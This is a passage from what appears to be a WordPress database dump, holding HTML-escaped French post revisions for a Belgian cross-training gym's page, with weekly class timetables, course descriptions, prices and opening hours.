17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:30:27', '2013-07-03 17:30:27', '', 11, 'http://www.crosstrainingcenter.be/?p=186', 0, 'revision', '', 0);
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(185, 1, '2013-07-03 17:28:40', '2013-07-03 17:28:40', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot; &gt;JEUDI&lt;/td&gt;\r\n&lt;td  class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td  class=\&quot;ttitre\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td  class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:28:40', '2013-07-03 17:28:40', '', 11, 'http://www.crosstrainingcenter.be/?p=185', 0, 'revision', '', 0),
(184, 1, '2013-07-03 17:24:45', '2013-07-03 17:24:45', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot; &gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot; &gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot; &gt;JEUDI&lt;/td&gt;\r\n&lt;td  class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td  class=\&quot;ttitre\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td  class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé 